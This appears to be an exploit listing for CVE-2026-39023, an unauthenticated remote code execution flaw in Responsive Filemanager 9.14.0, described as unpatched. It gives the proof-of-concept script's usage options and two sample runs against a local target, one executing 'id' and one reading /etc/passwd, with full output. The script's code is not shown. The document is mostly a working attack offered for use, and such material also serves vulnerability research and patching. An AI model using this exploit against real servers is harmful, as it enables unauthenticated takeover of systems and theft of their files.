Exploit for CVE-2026-39023

## https://sploitus.com/exploit?id=00DA5007-06F7-5A05-9101-97EE923012E1
# CVE-2026-39023

RCE poc - RESPONSIVE filemanager v.9.14.0 (last version - not patched) 

Github project : https://github.com/trippo/ResponsiveFilemanager

Requirements: Nothing is required, this exploit is unauthenticated.

The Responsive Filemanager application is a web-based file management tool used to handle files on a server. This vulnerability (CVE-2026-39023) allows an attacker to exploit duplicade file to create php file, leading to remote code execution on the target system.
(https://www.cve.org/CVERecord/SearchResults?query=CVE-2026-39023)

# Usage : 

```
$python3 POC_CVE-2026-39023.py -h
usage: POC_CVE-2026-39023.py [-h] [-C COOKIE] -c COMMAND -u URL

RCE Exploit RESPONSIVE filemanager CVE-2026-39023

options:
  -h, --help            show this help message and exit
  -C COOKIE, --cookie COOKIE
  -c COMMAND, --command COMMAND
  -u URL, --url URL
```

```
$ python3 POC_CVE-2026-39023.py -c 'id' -u http://127.0.0.1:8080 
[>] Collecting cookie...
[>] Cookie collected: aaf4dc1d4ceadaaafd5436aa96afecef
[>] Creating file...
[>] File successfully saved
[>] Response:

uid=1000(application) gid=1000(application) groups=1000(application)
```

You can specify cookie :

```
$ python3 POC_CVE-2026-39023.py -c 'cat /etc/passwd' -u http://127.0.0.1:8080 -C Cookie_Test
[>] Cookie : Cookie_Test
[>] Cookie collect : PHPSESSID=Cookie_Test
[>] Requets POST Send
[>] Payload send
[>] Response:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
application:x:1000:1000::/home/application:/bin/bash
blackfire:x:999:999::/dev/null:/bin/sh
postfix:x:101:104::/var/spool/postfix:/usr/sbin/nologin
```